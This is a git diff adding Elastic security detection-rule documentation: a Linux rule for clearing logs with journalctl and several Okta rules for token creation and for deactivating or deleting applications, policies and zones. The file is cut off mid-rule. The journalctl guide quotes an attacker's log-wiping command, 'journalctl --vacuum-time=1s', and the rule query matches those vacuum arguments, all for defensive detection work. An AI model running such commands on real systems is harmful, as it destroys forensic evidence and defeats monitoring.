+[[prebuilt-rule-8-19-34-attempt-to-clear-logs-via-journalctl]] +=== Attempt to Clear Logs via Journalctl + +This rule monitors for attempts to clear logs using the "journalctl" command on Linux systems. Adversaries may use this technique to cover their tracks by deleting or truncating log files, making it harder for defenders to investigate their activities. The rule looks for the execution of "journalctl" with arguments that indicate log clearing actions, such as "--vacuum-time", "--vacuum-size", or "--vacuum-files". + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Clear Logs via Journalctl* + + +This detection flags attempts to purge systemd journal logs by invoking journalctl with vacuum options, which attackers use to erase evidence and impede investigations. A common pattern is a compromised user escalating to root and immediately running sudo journalctl --vacuum-time=1s or --vacuum-size=1M, sometimes via a script or cron job, to rapidly truncate the journal across all boots and hide prior execution traces. + + +*Possible investigation steps* + + +- Enrich with user/UID, effective privileges, parent and command-line, session/TTY, and origin (SSH IP or local), and determine if execution came from a scheduled job (cron/systemd timer) or a script. +- Quantify destructiveness by extracting the exact vacuum parameter value(s) and immediately checking journal state (journalctl --disk-usage and --list-boots) and /var/log/journal size/mtime to see how much history was removed. +- Inspect configuration and persistence paths for intentional log suppression, including recent changes in /etc/systemd/journald.conf (Storage=volatile, SystemMaxUse, SystemMaxFileSize, MaxRetentionSec) and any new systemd units or scripts invoking journalctl vacuum. +- Correlate the vacuum timestamp with preceding activity to identify what might be concealed (privilege escalation, new accounts, sudoers edits, suspicious binaries), using auditd/EDR telemetry and shell history to rebuild the timeline. +- Verify remote log forwarding and SIEM ingestion for this host, compare gaps around the vacuum time, and recover pre-vacuum events from central storage to assess impact and intent. + + +*False positive analysis* + + +- A sysadmin or maintenance script ran journalctl --vacuum-time or --vacuum-size to reclaim space on a host under log disk pressure, which should correlate with low-free-space alerts, approved retention policy, and a scheduled systemd timer or cron job. +- OS provisioning or image-preparation steps vacuumed the journal with journalctl --vacuum-files to sanitize logs before snapshotting, typically a one-time root action occurring near installation and matching documented build procedures. + + +*Response and remediation* + + +- Immediately kill any active journalctl vacuum invocation (e.g., pkill -x journalctl), lock or remove sudo for the initiating user, and network-quarantine the host to prevent further tampering. +- Remove persistence by disabling systemd units/timers and cron jobs that call "journalctl --vacuum-*", inspecting /etc/systemd/system/* for ExecStart=journalctl vacuum and /etc/crontab, /etc/cron.*, and user crontabs, then deleting the offending scripts. +- Recover logging by setting Storage=persistent and policy-compliant SystemMaxUse/SystemMaxFileSize/MaxRetentionSec in /etc/systemd/journald.conf, restarting systemd-journald, and backfilling missing events from central log archives. +- Harden by enabling remote forwarding (ForwardToSyslog=yes and rsyslog/syslog-ng to SIEM), adding auditd rules to alert on "journalctl --vacuum-*", and tightening sudoers to require MFA and record command I/O for journalctl on critical hosts. +- Preserve evidence by archiving remaining /var/log/journal entries, journald.conf and its mtime, modified unit files under /etc/systemd/system, and shell/auth logs, and capture a disk snapshot before making further changes. +- Escalate to incident response if root executed "journalctl --vacuum-time/size/files" outside a documented maintenance window, if Storage=volatile was set or retention reduced below policy, or if the same actor performed vacuums on multiple hosts within 24 hours. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "journalctl" and process.args like ("--vacuum-time=*", "--vacuum-size=*", "--vacuum-files=*") and +not process.parent.args == "/etc/cron.daily/clean-journal-logs" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Linux or Mac System Logs +** ID: T1070.002 +** Reference URL: https://attack.mitre.org/techniques/T1070/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-create-okta-api-token.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-create-okta-api-token.asciidoc new file mode 100644 index 0000000000..19fa0aa86e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-create-okta-api-token.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-attempt-to-create-okta-api-token]] +=== Attempt to Create Okta API Token + +Detects attempts to create an Okta API token. An adversary may create an Okta API token to maintain access to an organization's network while they work to achieve their objectives. An attacker may abuse an API token to execute techniques such as creating user accounts or disabling security rules or policies. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Create Okta API Token* + + +Okta API tokens are crucial for automating and managing identity and access tasks within an organization. However, if compromised, these tokens can be exploited by adversaries to gain persistent access, manipulate user accounts, or alter security settings. The detection rule identifies suspicious token creation activities by monitoring specific Okta system events, helping to thwart unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:system.api_token.create to identify the specific instance of API token creation. +- Identify the user account associated with the token creation event to determine if the action aligns with their typical behavior or role within the organization. +- Check the timestamp of the event to correlate with other security events or anomalies that occurred around the same time. +- Investigate the IP address and location from which the API token creation request originated to assess if it matches the user's usual access patterns. +- Examine any recent changes to user accounts or security settings that may have been executed using the newly created API token. +- Review the organization's policy on API token creation to ensure compliance and determine if the action was authorized. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when legitimate IT staff create API tokens for automation or integration purposes. To manage this, maintain a list of authorized personnel and their expected activities, and create exceptions for these known users. +- Scheduled system maintenance or updates might involve creating API tokens, leading to false positives. Document these events and adjust the monitoring window or create temporary exceptions during these periods. +- Third-party integrations that require API tokens for functionality can also trigger alerts. Identify and whitelist these integrations by verifying their necessity and security compliance. +- Development and testing environments often involve frequent token creation for testing purposes. Exclude these environments from the rule or set up separate monitoring with adjusted thresholds to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately revoke the suspicious Okta API token to prevent any unauthorized access or actions within the organization's network. +- Conduct a thorough review of recent activities associated with the compromised token to identify any unauthorized changes or access attempts. +- Reset credentials and enforce multi-factor authentication for any accounts that were accessed or potentially compromised using the API token. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordination for further investigation and response. +- Implement additional monitoring on Okta API token creation events to detect and respond to any further unauthorized attempts promptly. +- Review and update access controls and permissions related to API token creation to ensure they align with the principle of least privilege. +- Escalate the incident to senior security management if there is evidence of broader compromise or if the threat actor's objectives are unclear. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:system.api_token.create + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-application.asciidoc new file mode 100644 index 0000000000..26e4e3d247 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-application.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-application]] +=== Attempt to Deactivate an Okta Application + +Detects attempts to deactivate an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Apps/Apps_Apps.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Application* + + +This rule detects attempts to deactivate an Okta application. Unauthorized deactivation could lead to disruption of services and pose a significant risk to the organization. + + +*Possible investigation steps:* + +- Identify the actor associated with the deactivation attempt by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- If the client is a device, check the `okta.device.id`, `okta.device.name`, `okta.device.os_platform`, `okta.device.os_version`, and `okta.device.managed` fields. +- Understand the context of the event from the `okta.debug_context.debug_data` and `okta.authentication_context` fields. +- Check the `okta.outcome.result` and `okta.outcome.reason` fields to see if the attempt was successful or failed. +- Review the past activities of the actor involved in this action by checking their previous actions logged in the `okta.target` field. +- Analyze the `okta.transaction.id` and `okta.transaction.type` fields to understand the context of the transaction. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- It might be a false positive if the action was part of a planned activity, performed by an authorized person, or if the `okta.outcome.result` field shows a failure. +- An unsuccessful attempt might also indicate an authorized user having trouble rather than a malicious activity. + + +*Response and remediation:* + +- If unauthorized deactivation attempts are confirmed, initiate the incident response process. +- Block the IP address or device used in the attempts if they appear suspicious, using the data from the `okta.client.ip` and `okta.device.id` fields. +- Reset the user's password and enforce MFA re-enrollment, if applicable. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- If the deactivated application was crucial for business operations, coordinate with the relevant team to reactivate it and minimize the impact. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:application.lifecycle.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-network-zone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-network-zone.asciidoc new file mode 100644 index 0000000000..809a8d4c16 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-network-zone.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-network-zone]] +=== Attempt to Deactivate an Okta Network Zone + +Detects attempts to deactivate an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Network Zone* + + +The Okta network zones can be configured to restrict or limit access to a network based on IP addresses or geolocations. Deactivating a network zone in Okta may remove or weaken the security controls of an organization, which might be an indicator of an adversary's attempt to evade defenses. + + +*Possible investigation steps* + + +- Identify the actor related to the alert by reviewing the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields. +- Examine the `event.action` field to confirm the deactivation of a network zone. +- Check the `okta.target.id`, `okta.target.type`, `okta.target.alternate_id`, or `okta.target.display_name` to identify the network zone that was deactivated. +- Investigate the `event.time` field to understand when the event happened. +- Review the actor's activities before and after the event to understand the context of this event. + + +*False positive analysis* + + +- Check the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. If these match the actor's normal behavior, it might be a false positive. +- Check if the actor is a known administrator or part of the IT team who might have a legitimate reason to deactivate a network zone. +- Verify the actor's actions with any known planned changes or maintenance activities. + + +*Response and remediation* + + +- If unauthorized access or actions are confirmed, immediately lock the affected actor account and require a password change. +- Re-enable the deactivated network zone if it was deactivated without authorization. +- Review and update the privileges of the actor who initiated the deactivation. +- Check the security policies and procedures to identify any gaps and update them as necessary. +- Implement additional monitoring and logging of Okta events to improve visibility of user actions. +- Communicate and train the employees about the importance of following proper procedures for modifying network zone settings. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:zone.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-policy-rule.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-policy-rule.asciidoc new file mode 100644 index 0000000000..e1609fdecd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-policy-rule.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-policy-rule]] +=== Attempt to Deactivate an Okta Policy Rule + +Detects attempts to deactivate a rule within an Okta policy. An adversary may attempt to deactivate a rule within an Okta policy in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Data Source: Okta +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 417 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Policy Rule* + + +Identity and Access Management (IAM) systems like Okta serve as the first line of defense for an organization's network, and are often targeted by adversaries. By disabling security rules, adversaries can circumvent multi-factor authentication, access controls, or other protective measures enforced by these policies, enabling unauthorized access, privilege escalation, or other malicious activities. + +This rule detects attempts to deactivate a rule within an Okta policy, which could be indicative of an adversary's attempt to weaken an organization's security controls. A threat actor may do this to remove barriers to their activities or enable future attacks. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deactivation attempt. +- Check the `okta.outcome.result` field to confirm the policy rule deactivation attempt. +- Check if there are multiple policy rule deactivation attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy rule deactivation attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deactivation attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deactivation attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deactivation attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy rule deactivation is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deactivation technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.rule.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-policy.asciidoc new file mode 100644 index 0000000000..b681aa99c8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-policy.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-attempt-to-deactivate-an-okta-policy]] +=== Attempt to Deactivate an Okta Policy + +Detects attempts to deactivate an Okta policy. An adversary may attempt to deactivate an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to deactivate an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Policy* + + +Okta policies define rules to manage user access to resources. Policies such as multi-factor authentication (MFA) are critical for enforcing strong security measures. Deactivation of an Okta policy could potentially weaken the security posture, allowing for unauthorized access or facilitating other malicious activities. + +This rule is designed to detect attempts to deactivate an Okta policy, which could be indicative of an adversary's attempt to weaken an organization's security controls. For example, disabling an MFA policy could lower the security of user authentication processes. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deactivation attempt. +- Check the `okta.outcome.result` field to confirm the policy deactivation attempt. +- Check if there are multiple policy deactivation attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy deactivation attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deactivation attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deactivation attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deactivation attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy deactivation is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deactivation technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.lifecycle.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-application.asciidoc new file mode 100644 index 0000000000..25bc0e5dd1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-application.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-attempt-to-delete-an-okta-application]] +=== Attempt to Delete an Okta Application + +Detects attempts to delete an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 414 + +*Rule authors*: + +* 